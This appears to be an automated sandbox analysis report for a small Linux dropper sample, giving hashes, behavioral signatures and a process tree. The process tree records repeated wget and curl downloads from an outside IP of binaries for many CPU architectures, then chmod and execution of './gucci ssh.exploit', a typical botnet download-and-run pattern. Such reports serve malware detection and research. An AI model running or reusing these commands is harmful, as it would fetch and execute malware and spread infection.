Analysis
-
max time kernel
10s -
max time network
9s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240729-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
28-07-2024 17:02
Static task
static1
Behavioral task
behavioral1
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
debian9-mipsel-20240729-en
General
-
Target
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
-
Size
1KB
-
MD5
18d2223535e45636ae395a0ff6f871b2
-
SHA1
1332ef19c7f95476565618fd4657f70b8127fe49
-
SHA256
99bd7484ae2c892b3c45d7a60ab1a13495a7ef6a94c2a59240f32ee2faf938ac
-
SHA512
2e00d77e6a3094ae2ae63968dd303cd3b9cedc34ab8bb1c5fefe1e411efc4569502ed8f15fa7ff40f60a207db5d6203a4110be97894fc905619134ea35b55a48
Malware Config
Signatures
-
Executes dropped EXE 11 IoCs
Processes:
gucciguccigucciguccigucciguccigucciguccigucciguccigucciioc pid process /tmp/gucci 724 gucci /tmp/gucci 730 gucci /tmp/gucci 736 gucci /tmp/gucci 742 gucci /tmp/gucci 748 gucci /tmp/gucci 754 gucci /tmp/gucci 760 gucci /tmp/gucci 766 gucci /tmp/gucci 772 gucci /tmp/gucci 778 gucci /tmp/gucci 784 gucci -
Reads runtime system information 11 IoCs
Reads data from /proc virtual filesystem.
Processes:
curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurldescription ioc process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes:
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118description ioc process File opened for modification /tmp/gucci 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Processes
-
/tmp/18d2223535e45636ae395a0ff6f871b2_JaffaCakes118/tmp/18d2223535e45636ae395a0ff6f871b2_JaffaCakes1181⤵
- Writes file to tmp directory
PID:716 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm2⤵PID:717
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm2⤵
- Reads runtime system information
PID:718 -
/bin/catcat arm2⤵PID:722
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-c7d802c3e63a4510b519298769069f5b-systemd-timedated.service-jiMssy2⤵PID:723
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:724 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm52⤵PID:726
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm52⤵
- Reads runtime system information
PID:727 -
/bin/catcat arm52⤵PID:728
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-c7d802c3e63a4510b519298769069f5b-systemd-timedated.service-jiMssy2⤵PID:729
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:730 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm62⤵PID:732
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm62⤵
- Reads runtime system information
PID:733 -
/bin/catcat arm62⤵PID:734
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-c7d802c3e63a4510b519298769069f5b-systemd-timedated.service-jiMssy2⤵PID:735
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:736 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm72⤵PID:738
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm72⤵
- Reads runtime system information
PID:739 -
/bin/catcat arm72⤵PID:740
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-c7d802c3e63a4510b519298769069f5b-systemd-timedated.service-jiMssy2⤵PID:741
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:742 -
/usr/bin/wgetwget http://192.3.122.100/bins/m68k2⤵PID:744
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/m68k2⤵
- Reads runtime system information
PID:745 -
/bin/catcat m68k2⤵PID:746
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-c7d802c3e63a4510b519298769069f5b-systemd-timedated.service-jiMssy2⤵PID:747
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:748 -
/usr/bin/wgetwget http://192.3.122.100/bins/mips2⤵PID:750
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/mips2⤵
- Reads runtime system information
PID:751 -
/bin/catcat mips2⤵PID:752
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-c7d802c3e63a4510b519298769069f5b-systemd-timedated.service-jiMssy2⤵PID:753
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:754 -
/usr/bin/wgetwget http://192.3.122.100/bins/mpsl2⤵PID:756
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/mpsl2⤵
- Reads runtime system information
PID:757 -
/bin/catcat mpsl2⤵PID:758
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-c7d802c3e63a4510b519298769069f5b-systemd-timedated.service-jiMssy2⤵PID:759
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:760 -
/usr/bin/wgetwget http://192.3.122.100/bins/ppc2⤵PID:762
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/ppc2⤵
- Reads runtime system information
PID:763 -
/bin/catcat ppc2⤵PID:764
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-c7d802c3e63a4510b519298769069f5b-systemd-timedated.service-jiMssy2⤵PID:765
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:766 -
/usr/bin/wgetwget http://192.3.122.100/bins/sh42⤵PID:768
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/sh42⤵
- Reads runtime system information
PID:769 -
/bin/catcat sh42⤵PID:770
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-c7d802c3e63a4510b519298769069f5b-systemd-timedated.service-jiMssy2⤵PID:771
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:772 -
/usr/bin/wgetwget http://192.3.122.100/bins/spc2⤵PID:774
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/spc2⤵
- Reads runtime system information
PID:775 -
/bin/catcat spc2⤵PID:776
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-c7d802c3e63a4510b519298769069f5b-systemd-timedated.service-jiMssy2⤵PID:777
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:778 -
/usr/bin/wgetwget http://192.3.122.100/bins/x862⤵PID:780
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/x862⤵
- Reads runtime system information
PID:781 -
/bin/catcat x862⤵PID:782
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-c7d802c3e63a4510b519298769069f5b-systemd-timedated.service-jiMssy2⤵PID:783
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:784